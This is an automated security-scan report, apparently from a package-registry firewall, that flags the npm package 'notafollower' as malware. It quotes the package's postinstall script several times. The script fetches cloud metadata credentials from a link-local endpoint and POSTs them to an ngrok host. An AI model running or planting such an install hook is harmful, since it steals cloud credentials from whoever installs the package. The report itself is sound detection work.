registry / notafollower / 1.0.7

notafollower@1.0.7

AI Security Review

scanned 2d ago · by lpm-firewall-ai

Automatic install-time cloud-metadata collection and exfiltration. The package has no functional source code.

Static reason

One or more suspicious static signals were detected.

Trigger

npm install, which runs the postinstall lifecycle hook

Impact

Potential theft of cloud workload credentials or metadata from the installing environment.

Mechanism

curl pipe forwards metadata-endpoint response to an external host

Attack narrative

On installation, the package fetches a response from a link-local cloud metadata endpoint and pipes that response directly into an HTTP POST to an ngrok-hosted endpoint. This is an unconsented credential/metadata exfiltration chain executed through npm postinstall.

Rationale

Source inspection confirms a concrete automatic exfiltration command in the sole package file. This is malicious install-time behavior.

Evidence

package.json

Network endpoints2

169.254.170.2/v4/66d9c665c1c54f3a91dcc6e73a917aec-0711026588mourner-slot-explicit.ngrok-free.dev

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`postinstall` fetches data from a link-local cloud metadata endpoint and immediately POSTs it to an unrelated ngrok host.
The behavior executes automatically on npm installation and has no package functionality.

Evidence against

Package contains no additional source files or declared runtime entrypoints.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

3 flagged

package.jsonView file

•scripts.postinstall = curl -s 'http://169.254.170.[redacted]-0711026588' | curl -X POST -H 'Content-Type: application/json' --data-binary @- 'https://mourner-slot-explicit.ngr...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "curl -s 'http://169.254.170.[redacted]-0711026588' | curl -X POST -H 'Content-Type: application/json' --data-binary @- 'https://mourner-slot-explicit.ngrok-free.dev'"

High

Suspicious Lifecycle Evidence

`postinstall` fetches data from a link-local cloud metadata endpoint and immediately POSTs it to an unrelated ngrok host.

package.jsonView on unpkg · L5

•scripts.postinstall = curl -s 'http://169.254.170.[redacted]-0711026588' | curl -X POST -H 'Content-Type: application/json' --data-binary @- 'https://mourner-slot-explicit.ngr...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = curl -s 'http://169.254.170.[redacted]-0711026588' | curl -X POST -H 'Content-Type: application/json' --data-binary @- 'https://mourner-slot-explicit.ngr...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

5"postinstall": "curl -s 'http://169.254.170.[redacted]-0711026588' | curl -X POST -H 'Content-Type: application/json' --data-binary @- 'https://mourner-slot-explicit.ngrok-free.dev'"

High

Suspicious Lifecycle Evidence

`postinstall` fetches data from a link-local cloud metadata endpoint and immediately POSTs it to an unrelated ngrok host.

package.jsonView on unpkg · L5

•scripts.postinstall = curl -s 'http://169.254.170.[redacted]-0711026588' | curl -X POST -H 'Content-Type: application/json' --data-binary @- 'https://mourner-slot-explicit.ngr...

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

Findings

2 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

MediumAmbiguous Install Lifecycle Scriptpackage.json

LowScripts Present

LowNo License